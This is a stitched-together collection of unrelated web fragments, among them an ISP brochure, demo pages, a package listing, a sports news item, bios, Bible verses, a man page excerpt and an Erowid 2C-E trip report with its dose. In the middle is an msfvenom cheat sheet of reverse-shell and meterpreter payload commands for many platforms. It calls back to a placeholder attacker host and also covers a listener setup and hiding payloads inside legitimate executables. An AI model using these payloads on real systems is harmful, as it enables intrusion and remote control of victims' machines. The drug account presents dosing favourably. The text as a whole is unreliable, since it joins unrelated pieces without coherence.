WHAT
WE OFFER :
a.
Personal Computer :
i. Any branded processor of 1000 MHz speed;
ii.256 MB RAM;
iii.1024 KB cache memory;
iv.1 GB free space in the main server;
v. All kinds of operating system (Unix, Windows,
vi. Provided with costly softwares available for use;
which are very costly
for one to afford;
vii.
Softwares
that make one fit in the employment market;
b. Multi-Media Options:
With this option we're offering the
following
i. At least 30 sky channels of TV options with Interactive TV, with which one can
interactively rewind and forward the live telecast.
ii. Music listening option from unlimited songs stored in the music server .
iii. Interactive movie option from unlimited classics and current movies (DVD quality) .
iv. Video-game options for Children at home.
v. Cable/video phone facilities throughout the globe.
vi. Personal advertising options in the net's "Talk Of The Time" page.
c. Internet Service :
i. Watch out ! unlimited Bandwidth! Incredible! isn't it? We're introducing the Cable
Internet with 4-8 Mbps VSAT . That means one doesn't have to use
Telephone line any more.
d. Communication :
i. Omni-TV net's own cable phone network .
ii. Fax service around local and off-country region.
iii. Special video-phone offer from the net's own network.
iv. E-mail / V-mail service (local and off-country).
v. World-wide video-phone through
the net's own
e. On-Line shopping :
Through this network , it gives a way to establish the whole market system with a new
dimension . With the traditional
TechnoDome (PPT) suggests a little change in the trend. We
"On-Line Shopping" . It may start in a two-fold manner. These
i. First of all TechnoDome (PPT) may establish a whole new
own . All of
Omni-TV Net's users
home and get
the delivery at their
door-step.
ii. Clients of Omni-TV net can do such way of shopping among themselves under the
proper guidance of the net.
to start their own on-line shopping centers under the net's direct supervision
Moreover, individual users of Omni-TV Net would be able to market their own
products through the net's setup in
this regard among other
users of the net.
f. Education :
Omni-TV Net desires to put it's energy to provide all users with the services regarding
education in a three fold manner:
i. A student in a user's residence can attend his classes staying at home through the
help of Omni-TV
Net.
ii. On- line training options on various softwares. Such as, word processing,
spreadsheet analysis, database management system, graphics design,
programming
etc.
In
future, Omni-TV
iii. Access to the world wide web through Omni-TV
Through which one can get an easy access to existing world famous libraries and
even one can contact
with universities abroad for on-line educational purposes.
Moreover, in future , TechnoDome (PPT) has a plan to set up the whole public library on
line if any governmental back-ups or cooperation
are available
g. Health :
Through Omni-TV
be doctors,
specialists in our user's list . So, it would be easier for a user to have
on-line health and medical advices / services.
Moreover,
plan to appoint
doctors and specialist doctors 24hrs on
line , and even an on-line
medical center for it's users.
h. Communication Media :
With the increasing number of it's
users, Omni-TV Net
and a news media of


First draw an area by clicking on "DRAW AREA", afterwards click "STOP DRAWING" and finally on "SCAN".


Congratulation! You have successfully installed snowem.
This is a snowem demo page running on small web server provided by snowem.
Thank you for using snowem.
Warning: You are advised to turn off this small web server when running on production environtment. For details, check here.
Futher Resource: Check out our javascript sdk here for more defails.


Identify differentially expressed genes in RNA-seq count data using quasi-Poisson or quasi-negative binomial models with 'QL', 'QLShrink' and 'QLSpline' methods described by Lund, Nettleton, McCarthy, and Smyth (2012) <doi:10.1515/1544-6115.1826>. Report bias-reduced estimates of log fold changes.
| Version: | 1.0-10-2 |
| Depends: | R (≥ 3.5.0) |
| Imports: | edgeR, mgcv, pracma, utils, grDevices, graphics |
| Suggests: | BB, nleqslv |
| Enhances: | stats |
| Published: | 2018-05-10 |
| Author: | Steve Lund [aut, cre], Long Qu [aut, ctb], Klirk Bhasavanich [aut], Ian Marschner [aut] (The author of glm2::glm.fit2, which was modified slightly leading to glm.fit3 in this package.), R Core Team [aut] (The author of stats::glm.fit, which was modified slightly leading to glm.fit3 in this package.) |
| Maintainer: | Steve Lund <lundsp at gmail.com> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| NeedsCompilation: | yes |
| CRAN checks: | QuasiSeq results |
| Reference manual: | QuasiSeq.pdf |
| Package source: | QuasiSeq_1.0-10-2.tar.gz |
| Windows binaries: | r-devel: QuasiSeq_1.0-10-2.zip, r-release: QuasiSeq_1.0-10-2.zip, r-oldrel: not available |
| OS X binaries: | r-release: QuasiSeq_1.0-10-2.tgz, r-oldrel: not available |
| Old sources: | QuasiSeq archive |
Please use the canonical form https://CRAN.R-project.org/package=QuasiSeq to link to this page.


Hi there !
If you are seeing this message it's because this page is not being served by your JVM.
Instead, you must be accessing it from https://lorenzoongithub.github.io/
If you have started your JVM with the nudge4j snippet (see:
here) then it will be accessible via a URL like http://[hostname]:[port]/


Editable:
You can write math expression inside paragraph like this: $x + 1$
Inline formulas can be written with \$ e.g: $c = \pm\sqrt{a^2 + b^2}$
and displayed equations can be written using \$$ e.g: $$\sum_{i=1}^n 2^i$$
Editable empty:
Just an expression (not editable):
% \f is defined as f(#1) using the macro
\f{x} = \int_{-\infty}^\infty
\hat \f\xi\,e^{2 \pi i \xi x}
\,d\xi
Not an expression (not editable):
Yolo I'm formatted but that's not a problem
Above text is formatted as an expression as it does not contain any math expression. We accept this in order to support both inline
and paragraph mode.
A single line paragraph (not editable):
You can write math expression inside paragraph like this: $x + 1$
More examples (not editable):
Source: https://tiddlywiki.com/plugins/tiddlywiki/katex/
f(x) = \int_{-\infty}^\infty\hat f(\xi)\,e^{2 \pi i \xi x}\,d\xi
\frac{1}{\Bigl(\sqrt{\phi \sqrt{5}}-\phi\Bigr) e^{\frac25 \pi}} = 1+\frac{e^{-2\pi}} {1+\frac{e^{-4\pi}} {1+\frac{e^{-6\pi}}
{1+\frac{e^{-8\pi}} {1+\cdots} } } }
1 + \frac{q^2}{(1-q)}+\frac{q^6}{(1-q)(1-q^2)}+\cdots = \prod_{j=0}^{\infty}\frac{1}{(1-q^{5j+2})(1-q^{5j+3})}, \quad\quad \text{for
}\lvert q\rvert<1.


List payloads
msfvenom -l
Binaries
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Web Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Windows Based Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Mac Based Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Handlers
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z
Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘
msfvenom -n, –nopsled
Sometimes you need to add a few NOPs at the start of your payload. This will place a NOP sled of [length] size at the beginning of your payload.
msfvenom –smallest
If the “smallest” switch is used, msfvevom will attempt to create the smallest shellcode possible using the selected encoder and payload.
msfvenom -c, –add-code
Specify an additional win32 shellcode file to include, essentially creating a two (2) or more payloads in one (1) shellcode.
root@kali:~# msfvenom -a x86 --platform windows -p windows/messagebox TEXT="MSFU Example" -f raw > messageBox
root@kali:~# msfvenom -c messageBox -a x86 --platform windows -p windows/messagebox TEXT="We are evil" -f raw > messageBox2
root@kali:~# msfvenom -c messageBox2 -a x86 --platform Windows -p windows/shell/bind_tcp -f exe -o cookies.exe
Running the “cookies.exe” file will execute both message box payloads, as well as the bind shell using default settings (port 4444).
msfvenom -x, –template & -k, –keep
The -x, or –template, option is used to specify an existing executable to use as a template when creating your executable payload.
Using the -k, or –keep, option in conjunction will preserve the template’s normal behaviour and have your injected payload run as a separate thread.
msfvenom -f exe-only
There is an interesting additional command line flag to “msfvenom” to change the format to “exe-only” rather than “exe”. This flag has the effect of either creating a new section header, or modifying the existing “.text” section in the case of 64-bit binaries.
In the case of 32-bit binaries, the shellcode ends up in the “.text” section regardless, however, the characteristics flags differ and some extra assembly code are introduced in the “exe-only” version.


The following demo uses beforeKeyDown callback to modify some key bindings:
Pressing DELETE or BACKSPACE on a cell deletes the cell and shifts all cells beneath it in the column up
resulting in the cursor (which doesn't move) having the value previously beneath it, now in the current
cell.
Pressing ENTER in a cell (not changing the value) results in pushing all the cells in the column beneath
this cell down one row (including current cell) resulting in a blank cell under the cursor (which hasn't
moved)


Triple MotoGP world champion Lorenzo announces retirement
Valencia - Three-time MotoGP world champion Jorge Lorenzo, who suffered a fractured spine this year, said Thursday he would retire following this weekend's season-ending Valencia Grand Prix.
The 32-year-old Spaniard, who rides for Honda and claimed the world title in 2010, 2012 and 2015, told a press conference he was pulling out following Sunday's race.
The rider, who was also twice crowned 250cc champion, was retained for next season by Honda but has suffered from poor form and serious injuries this season.
"This will be my last race in MotoGP and after this I am retiring from professional racing," Lorenzo said.
"I've always thought there are four significant days in the life of a rider -- the first one is when it's your first race, the second one is your first win, then your first world championship -- not everyone can win the world championship, but some of us made it.
"And then the day you retire. As you all imagine here, I'm here to announce that this day has arrived for me."
Lorenzo said that a series of spills earlier this season with Honda led him to consider retiring for the first time in his career.
"Injuries came to play an important role in my results and my performance so I was not able to be in a normal physical condition to be fast," he said.
Lorenzo fractured his spine in two places during opening practice for the Dutch Grand Prix on June 28, bouncing into four somersaults and hitting the gravel behind his bike.
He described how he was picking himself up off the gravel when he made a snap decision to quit the sport.
"'OK Jorge, is this really worth it after what I have achieved'," he said. "'I am done with it, I don't want to race any more'."
Later he had a rethink and returned to the circuit.
"The truth is from that moment the hill became so big and high for me I couldn't find the motivation to continue to climb," he said.
His Honda teammate Marc Marquez, who wrapped up his sixth top-class world title last month, said Lorenzo's decision was a surprise.
"It was a surprise even for his teammate because in the team we didn't know," said the Spaniard.
"He's a true champion and when he felt he couldn't be at the top, he decided to stop, and this shows his strength of character on and off the track."
Seven-time MotoGP world champion Valentino Rossi hailed his former Yamaha partner, saying: "Jorge is one of the greatest MotoGP riders of the modern era.
"We are losing a very important part of our sport, a great champion."
Lorenzo joined Honda on a two-year deal for the start of this season, but is languishing in 19th spot in the riders' standings, with a best finish of 11th in May's French Grand Prix.


About author
Hajime Isayama
Hajime Isayama is a Japanese manga artist. His first and currently ongoing series, Attack on Titan, has become one of the best selling manga series of all time with 86 million copies in circulation in October 2018.
Isayama was born in Ōyama, Ōita Prefecture, Japan, which is now part of Hita. It was in high school, Hita Rinko Senior High School, that he began submitting manga works to contests.After graduating, he matriculated in the manga design program of the arts department at Kyushu Designer Gakuen. In 2006, he applied for the Magazine Grand Prix known as MGP promoted by Kodansha Ltd. and a short version of Attack on Titan (Shingeki no Kyojin) was given the "Fine Work" award. At age twenty, he moved to Tokyo and worked at an Internet café in order to pursue a career in manga.This one-shot would later be included in the series' guidebook and included with the first Blu-ray of the anime adaptation.
Originally, he also offered his work to the Weekly Shōnen Jump department at Shueisha, where he was advised to modify his style and story to be more suitable for Weekly Shōnen Jump. He declined and decided instead to take it to the Weekly Shōnen Magazine department at Kodansha Ltd.
In 2008, he applied for the 80th Weekly Shōnen Magazine Freshman Manga Award, where his work Heart Break One was given the Special Encouragement Award. His other work, Orz, was chosen as a selected work in the same contest the following year.
In 2009, his first serial work, Attack on Titan, started in the monthly Bessatsu Shōnen Magazine. It won the Shōnen category of the 35th Kodansha Manga Award in 2011,and was nominated for both the 4th annual Manga Taishō award and the 16th annual Tezuka Osamu Cultural Prize.Attack on Titan is released in English by Kodansha USA and has inspired five spin-off manga series, three light novel series, a televised anime adaptation, several visual novels and video games, and a two part live-action film. The resort Bungo Oyama Hibiki no Sato in his hometown of Ōyama, ran a free exhibit displaying copies of Isayama's manuscripts for the manga in 2013.A special Attack on Titan event was held in Hita on November 1, 2014, with Isayama and approximately 2,500 spectators attending. The following day, Isayama gave a speech at the Patria Hita cultural hall and was officially named the Tourism Ambassador of Hita by the city's mayor Keisuke Harada.


Owner, therapist and teacher
(Thailand)
The Chiang Mai
Wellness Centre
2014 – Present
I am the owner of a holistic clinic located in Chiang Mai, Thailand where I facilitate group therapy and teach personal development workshops. Therapy integrates hypnotherapy, counseling, EMDR, EFT and NLP with applied Tibetan and Kabbalistic healing practices and is conducted within the belief system of the client.
Therapist and teacher
(Thailand)
The Yoga Tree and Healing Light
2012 - 2014
Facilitated therapy practice and taught Reiki and a variety of personal development workshops from these wellness centres located in Chiang Mai, Thailand.
Reiki master and therapist
(India)
2009 – 2011
Taught Reiki workshops and facilitated personal therapy from these spiritual centres located in Goa, India.
2007 – 2009
Clinical hypnotherapist working alongside the well known Irish herbs doctor, Dr. Dillis Clare.
Hypnotherapist and teacher
(Netherlands)
2003 – 2007
Began private therapy practice and built client base and experience in Amsterdam.


High school time table solver
Generate the optimal schedule for your teachers and students.
Refresh
Solve
Stop solving
Score: ?
By room
By teacher
By student group
Add lesson
Add timeslot
Add room
Unassigned lessons
Add a lesson
×
Subject
Teacher
Student group
Add a timeslot
×
Day of week
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Sunday
Start time
End time
Add a room
×
Name


def verify_discovered_services(claimed_id, services, to_match_endpoints)
failure_messages = []
for endpoint in services
for to_match_endpoint in to_match_endpoints
begin
verify_discovery_single(endpoint, to_match_endpoint)
rescue ProtocolError => why
failure_messages << why.message
else
@endpoint = endpoint
return
end
end
end
Util.log("Discovery verification failure for #{claimed_id}")
failure_messages.each do |failure_message|
Util.log(" * Endpoint mismatch: " + failure_message)
end
raise ProtocolError, ("No matching endpoint found after "\
"discovering #{claimed_id}")
end


Work Experience Fimat Clerk on High Grade Corporate Bond Desk NewEdge High Grade Corporate Bond Broker Tullett Prebon High Grade Corporate Bond Broker Places I have lived Pelham, New York New York City, New York Seattle, Washington
Life Goals swim to alcatraz NYC Marathon Seattle to Portland bike Chicago Marathon Visit Great Wall of China Visit Pyramids Hit the Lotto Watch my Children Grow Be a good father Be a good human being


Enum GeneticCode SpecsSpecialization values for GeneticCode
Specialization values for GeneticCode
| Defined in | <seqan/translation.h> |
|---|---|
| Signature |
enum class GeneticCodeSpec : uint8_t { ...};
|
Enum Values
CANONICAL = 1 |
The Standard Genetic Code
|
|---|---|
VERT_MITOCHONDRIAL = 2 |
The Vertebrate Mitochondrial Code
|
YEAST_MITOCHONDRIAL = 3 |
The Yeast Mitochondrial Code
|
MOLD_MITOCHONDRIAL = 4 |
The Mold, Protozoan, and Coelenterate Mitochondrial Code and the Mycoplasma/Spiroplasma Code
|
INVERT_MITOCHONDRIAL = 5 |
The Invertebrate Mitochondrial Code
|
CILIATE = 6 |
The CILIATE, Dasycladacean and Hexamita Nuclear Code
|
FLATWORM_MITOCHONDRIAL = 9 |
The Echinoderm and Flatworm Mitochondrial Code
|
EUPLOTID = 10 |
The EUPLOTID Nuclear Code
|
PROKARYOTE = 11 |
The Bacterial, Archaeal and Plant Plastid Code
|
ALT_YEAST = 12 |
The Alternative Yeast Nuclear Code
|
ASCIDIAN_MITOCHONDRIAL = 13 |
The Ascidian Mitochondrial Code
|
ALT_FLATWORM_MITOCHONDRIAL = 14 |
The Alternative Flatworm Mitochondrial Code
|
BLEPHARISMA = 15 |
BLEPHARISMA Nuclear Code
|
CHLOROPHYCEAN_MITOCHONDRIAL = 16 |
Chlorophycean Mitochondrial Code
|
TREMATODE_MITOCHONDRIAL = 21 |
Trematode Mitochondrial Code
|
SCENEDESMUS_MITOCHONDRIAL = 22 |
Scenedesmus obliquus mitochondrial Code
|
THRAUSTOCHYTRIUM_MITOCHONDRIAL = 23 |
Thraustochytrium Mitochondrial Code
|
PTEROBRANCHIA_MITOCHONDRIAL = 24 |
Pterobranchia mitochondrial code
|
GRACILIBACTERIA = 25 |
Candidate Division SR1 and GRACILIBACTERIA Code
|
Detailed Description
The numeric values of the enums correspond to the genbank transl_table values (see http://www.ncbi.nlm.nih.gov/Taxonomy/Utils/wprintgc.cgi). Some genetic codes have been deprecated, so not all numeric values are available.
Please not that this is part of the translation module which requires C++11.


App Instructions
- A family member or caregiver holds and operates the Dash app for the person communicating.
- You navigate in Dash with four directional buttons: Up, Down, Left, Right.
- Determine with each other how to signal Up, Down, Left, Right.
- Each button creates new options. Eventually leading into a final choice, letter, or word.


- Socializing knowleage across educational activities
- Teaching natural language digital evolution and programming language
- Promoting a sustainable network of cooperation and promotion of cuban tech innovation
- A complement to help common non-programming people to get tech into their lives healthily
Code of Conduct
harassment-free community for everyone, regardless of:
- sex, gender identity or expression, sexual orientation, disability,
- physical appearance, age, body size, race, nationality or religious beliefs
Host extra-rules
Preserve the place, low voice, etc.
Other Basic Rules for an Engaging Experience:
- Respect time limit of your keynote.
- Ask no matter when, but PLEASE ASK!!!
- Share whit attendants all you can.
This Meetup Agenda
Day1
Day2
Docker Mentor Day
NodeSchool
PyDay: Machine Learning
Possible Topics for Next Meetup
Basic Workshops:
- javascripting → charla y mentores
- learnyounode (Node.js) →charla y mentores
- git-it → charla
- scope-chains-closures (javascript hardcore) → charla
- async-you (prog async en node.js) → charla y mentores
Advanced Workshops:
- functional-javascript → charla
- promise-it-wont-hurt (prog async y funct with Promise)
- learn-generators (ECMAScript 6) → charla
- learnyoumongo (MongoDB) → charla
- learnyoureact (React.js) → charla
Channels of Communication


Index1.html Partial file: partial1.html Some partial at the same level as partial1.html Nested partial3.html file


Deuteronomy 15:2
And this is the manner of the release: Every creditor that lendeth ought unto his neighbor shall release it; he shall not exact it of his neighbor, or of his brother; because it is called the LORD's release.


EBD - Easton Bible DIctionary
Lines
LINES
"LINES "were used for measuring and dividing land; and hence the word came to denote a portion or inheritance measured out; a possession (
Psalm 16:6
).
"LINES "were used for measuring and dividing land; and hence the word came to denote a portion or inheritance measured out; a possession (Psalm 16:6).


Iason Heine:
You are very hard-headed! Well, as I said, you are free to go. Have a safe trip... and don't forget to come and visit me occasionally.


| DOSE: |
16 mg |
oral |
2C-E |
(liquid) |
I took 16mg of 2C-E(hydrochloride I presume) in water at 1:15 PM on a Saturday, on an empty stomach. (ate last at about 7 PM the previous day) It had a very bitter taste, but was surprisingly bearable. The taste had, to my surprise, what Shulgin calls 'character.' I was in my room with four good friends, all of whom were taking 2C-T-7, in dosages between 20mg and 24mg. Another friend took 18mg of 2C-B but had to leave when she was coming down (about four hours) to go somewhere. This was one of a series of such gatherings in my room, and I was somewhat more stressed the morning of than I usually am. I had had a very difficult week and I received some upsetting e-mails that morning. In retrospect, I do not think that this significantly affected the experience.
This was my first time taking 2C-E. Prior to this, I had taken mushrooms four times, mescaline(in the form of San Pedro) twice, 2C-T-7 three times, and 2C-B twice.
No effects to speak of were noticed for a little over an hour, but at about T+1:10 I suddenly felt what seemed to be a great deal of pressure on my chest, and a slight loss of breath. I always experience this to some degree on psychedelics, but this was the most intense I ever felt it. It accompanied a sudden appearance of definite but mild visuals.
By T+2:00 it was fully active, a little more so than I had expected. For a while, it was not entirely pleasant, but at some point after that, I don't remember when exactly, the pressure on my chest went away and, along with it, all the negative thoughts and feelings I was experiencing. This may have had something to do with a cigarette I smoked; I don't remember which happened first. It is worth noting that I do not smoke, but I find that it helped significantly with regulating my breathing on 2C-B and 2C-T-7.
I do not remember much of the experience before the chest sensation abated, but after that my room seemed to light up significantly and I was overcome with complete euphoria for most of the rest of the day.
The walls of my room seemed to fall away or become irrelevant, and I was able to immerse myself, at will, in huge and thoroughly gorgeous visuals that would expand to the edge of the room and beyond. There were several flowers in a vase, and if I looked at them for half a second it would seem as if my room was surrounded by a spectacular jungle, right out of a child's fantasy. Closed-eye visuals were equally fantastic but less profound. I prefered to keep my eyes open.
I became filled with a sense of awe at all living things, all of reality in fact, and it became harder and harder to find anything truly wrong with the universe. Physical objects, merely by existing, glowed and danced with self-understanding.
At this point of the experience I realized that there was something satisfying about this drug that I had found missing in 2C-B and 2C-T-7, as opposed to mushrooms and mescaline. I never completely identified what it was. The particular sense that all things were dancing to some barely heard music that resonated through the fabric of existence was something I had not experienced in a long time, and it was very welcome.
I did not make any serious attempts to produce any drawings or music, but I feel it would have been effortless. I entertained the idea of finding a large canvas and a human-sized bucket of blue paint, and was disappointed at the infeasability of it. I even had in mind exactly what shade I would have used, and the patterns that I would make, but it was not possible and my imagined artwork faded from mind. I proposed to my friends that psychedelia is the mind desiring to be raised to the same level as the other organs--in other words, everything the mind (to be distinguished from the brain, memory, etc.) does is impermanent, but in a psychedelic state, this seems more tragic than it normally does. Hence the strong desire to paint and to write ideas down on paper. After a moment's consideration, I realized that this deep desire of the mind to manifest its actions physically is always present, and is responsible for all of art and modern science.
I had many deep thoughts that day, but unlike most of my experiences on 2C-B and 2C-T-7, I was not troubled by any of them, at least not to the point of experiencing any anxiety. I found myself making frequent analogies to organized religion. For instance, when one friend made some kind of request, perhaps to change the volume of the music, several people got up to change the volume, but quickly disagreed on whether it was supposed to be turned up or down, and continued to argue while ignoring the protests of the person who made the initial request. I said, 'This is how religions get started.'
As another example, I have always known that one of my windows behaves very strangely, and will often slide upwards significantly if pulled slighly. For some reason, this particular day, on 2C-E, was the first time that it ever occurred to me that this was a major violation of the laws of physics. One of my friends calmly explained to me that the window had counterweights and showed me where they were. I couldn't stop laughing--I had religiously avoided questioning the behavior of my window but I had been set free from my ignorance. I couldn't avoid making the obvious analogy.
My thoughts of this nature largely centered on the ways in which governments are formed and become repressive, and how people decide that war is necessary. It seemed that nobody who had experienced something as grand as my 2C-E experience could ever feel that there was no alternative to hurting another person. But through all this I maintained a realistic view of the world, that things aren't perfect, that not everything is immediately feasible.(like the bucket of paint) The solution is obvious, however: brilliance. Every human being is capable of magnificent creativity but often uses it in the service of anger, judgment, money, or manufacturing neuroses to make their lives more interesting. Or worse, they convince themselves that they aren't special at all. We are smart enough, I realized, and we have the technology, to end much of the daily tragedy on this planet.
All of these thoughts were powerful but positively directed. They were all about major problems but there was always a solution waiting. I had a strong sense that everything was going to be OK.
A couple more points that didn't fit in above. There was an intense heightening of taste--I was very conscious of the chlorine in the tap water, and all the food I had was absolutely amazing. There was some nausea during the first two or three hours but it went away and I had no trouble eating whatever I wanted to. I was ravenously hungry afterwards, more than I ever remember being after a psychedelic experience. Also, the paranoia at having to interact with the outside world wasn't that intense, but it was definitely something to worry about. During the peak I was very concerned about running into a disapproving person on the way to the bathroom, but this was mostly because I was repeated failing to stop smiling.
The whole experience lasted about six or seven hours after ingestion, although there were mild effects for a few hours afterwards.
If I had to rate 2C-E, I would have to give it 'eleven thumbs up,' to quote Homer Simpson. At this level, it was a great visual experience, great for talking with friends, great gustatory experience, great for having life-changing thoughts, great for maintaining my sense of security throughout. Great in general. Perhaps I will find something flawed about this drug in later experiences, but for now I can't think of anything wrong with it, except that the first two hours are a little unpleasant. It's my new drug of choice as long as I can't find any mushrooms and I don't feel like drinking green slime.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


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clone, __clone2, clone3 - create a child process
/* Prototype for the glibc wrapper function */
#define _GNU_SOURCE
#include <sched.h>
int clone(int (*fn)(void *), void *stack, int flags, void *arg, ...
/* pid_t *parent_tid, void *tls, pid_t *child_tid */ );
/* For the prototype of the raw clone() system call, see NOTES */
long clone3(struct clone_args *cl_args, size_t size);
Note: There is not yet a glibc wrapper for clone3();
see NOTES.
These system calls create a new ("child") process, in a manner similar
to fork(2).
By contrast with fork(2), these system calls provide more
precise control over what pieces of execution context are shared between the
calling process and the child process. For example, using these system
calls, the caller can control whether or not the two processes share the
virtual address space, the table of file descriptors, and the table of
signal handlers. These system calls also allow the new child process to be
placed in separate namespaces(7).
Note that in this manual page, "calling process"
normally corresponds to "parent process". But see the descriptions
of CLONE_PARENT and CLONE_THREAD below.
This page describes the following interfaces:
- The glibc clone() wrapper function and the underlying system call
on which it is based. The main text describes the wrapper function; the
differences for the raw system call are described toward the end of this
page.
- The newer clone3() system call.
In the remainder of this page, the terminology "the clone
call" is used when noting details that apply to all of these
interfaces,
When the child process is created with the clone() wrapper function, it
commences execution by calling the function pointed to by the argument
fn. (This differs from fork(2), where execution continues in the
child from the point of the fork(2) call.) The arg argument is
passed as the argument of the function fn.
When the fn(arg) function returns, the child process
terminates. The integer returned by fn is the exit status for the
child process. The child process may also terminate explicitly by calling
exit(2) or after receiving a fatal signal.
The stack argument specifies the location of the stack used
by the child process. Since the child and calling process may share memory,
it is not possible for the child process to execute in the same stack as the
calling process. The calling process must therefore set up memory space for
the child stack and pass a pointer to this space to clone(). Stacks
grow downward on all processors that run Linux (except the HP PA
processors), so stack usually points to the topmost address of the
memory space set up for the child stack. Note that clone() does not
provide a means whereby the caller can inform the kernel of the size of the
stack area.
The remaining arguments to clone() are discussed below.
The clone3() system call provides a superset of the functionality of the
older clone() interface. It also provides a number of API improvements,
including: space for additional flags bits; cleaner separation in the use of
various arguments; and the ability to specify the size of the child's stack
area.
As with fork(2), clone3() returns in both the parent
and the child. It returns 0 in the child process and returns the PID of the
child in the parent.
The cl_args argument of clone3() is a structure of
the following form:
struct clone_args {
u64 flags; /* Flags bit mask */
u64 pidfd; /* Where to store PID file descriptor
(pid_t *) */
u64 child_tid; /* Where to store child TID,
in child's memory (pid_t *) */
u64 parent_tid; /* Where to store child TID,
in parent's memory (int *) */
u64 exit_signal; /* Signal to deliver to parent on
child termination */
u64 stack; /* Pointer to lowest byte of stack */
u64 stack_size; /* Size of stack */
u64 tls; /* Location of new TLS */
u64 set_tid; /* Pointer to a pid_t array */
u64 set_tid_size; /* Number of elements in set_tid */
};
The size argument that is supplied to clone3()
should be initialized to the size of this structure. (The existence of the
size argument permits future extensions to the clone_args
structure.)
The stack for the child process is specified via
cl_args.stack, which points to the lowest byte of the stack area, and
cl_args.stack_size, which specifies the size of the stack in bytes.
In the case where the CLONE_VM flag (see below) is specified, a stack
must be explicitly allocated and specified. Otherwise, these two fields can
be specified as NULL and 0, which causes the child to use the same stack
area as the parent (in the child's own virtual address space).
The remaining fields in the cl_args argument are discussed
below.
Unlike the older clone() interface, where arguments are passed
individually, in the newer clone3() interface the arguments are
packaged into the clone_args structure shown above. This structure
allows for a superset of the information passed via the clone()
arguments.
The following table shows the equivalence between the arguments of
clone() and the fields in the clone_args argument supplied to
clone3():
| clone() |
clone3() |
Notes |
|
cl_args field |
| flags & ~0xff |
flags |
For most flags; details below |
| parent_tid |
pidfd |
See CLONE_PIDFD |
| child_tid |
child_tid |
See CLONE_CHILD_SETTID |
| parent_tid |
parent_tid |
See CLONE_PARENT_SETTID |
| flags & 0xff |
exit_signal |
| stack |
stack |
| --- |
stack_size |
| tls |
tls |
See CLONE_SETTLS |
| --- |
set_tid |
See below for details |
| --- |
set_tid_size |
When the child process terminates, a signal may be sent to the parent. The
termination signal is specified in the low byte of flags
(clone()) or in cl_args.exit_signal (clone3()). If this
signal is specified as anything other than SIGCHLD, then the parent
process must specify the __WALL or __WCLONE options when waiting
for the child with wait(2). If no signal (i.e., zero) is specified,
then the parent process is not signaled when the child terminates.
By default, the kernel chooses the next sequential PID for the new process in
each of the PID namespaces where it is present. When creating a process with
clone3(), the set_tid array (available since Linux 5.5) can be
used to select specific PIDs for the process in some or all of the PID
namespaces where it is present. If the PID of the newly created process should
be set only for the current PID namespace or in the newly created PID
namespace (if flags contains CLONE_NEWPID) then the first
element in the set_tid array has to be the desired PID and
set_tid_size needs to be 1.
If the PID of the newly created process should have a certain
value in multiple PID namespaces, then the set_tid array can have
multiple entries. The first entry defines the PID in the most deeply nested
PID namespace and each of the following entries contains the PID in the
corresponding ancestor PID namespace. The number of PID namespaces in which
a PID should be set is defined by set_tid_size which cannot be larger
than the number of currently nested PID namespaces.
To create a process with the following PIDs in a PID namespace
hierarchy:
| PID NS level |
Requested PID |
Notes |
| 0 |
31496 |
Outermost PID namespace |
| 1 |
42 |
| 2 |
7 |
Innermost PID namespace |
Set the array to:
set_tid[0] = 7;
set_tid[1] = 42;
set_tid[2] = 31496;
set_tid_size = 3;
If only the PIDs in the two innermost PID namespaces need to be
specified, set the array to:
set_tid[0] = 7;
set_tid[1] = 42;
set_tid_size = 2;
The PID in the PID namespaces outside the two innermost PID
namespaces will be selected the same way as any other PID is selected.
The set_tid feature requires CAP_SYS_ADMIN in all
owning user namespaces of the target PID namespaces.
Callers may only choose a PID greater than 1 in a given PID
namespace if an init process (i.e., a process with PID 1) already
exists in that namespace. Otherwise the PID entry for this PID namespace
must be 1.
Both clone() and clone3() allow a flags bit mask that modifies
their behavior and allows the caller to specify what is shared between the
calling process and the child process. This bit mask—the flags
argument of clone() or the cl_args.flags field passed to
clone3()—is referred to as the flags mask in the
remainder of this page.
The flags mask is specified as a bitwise-OR of zero or more
of the constants listed below. Except as noted below, these flags are
available (and have the same effect) in both clone() and
clone3().
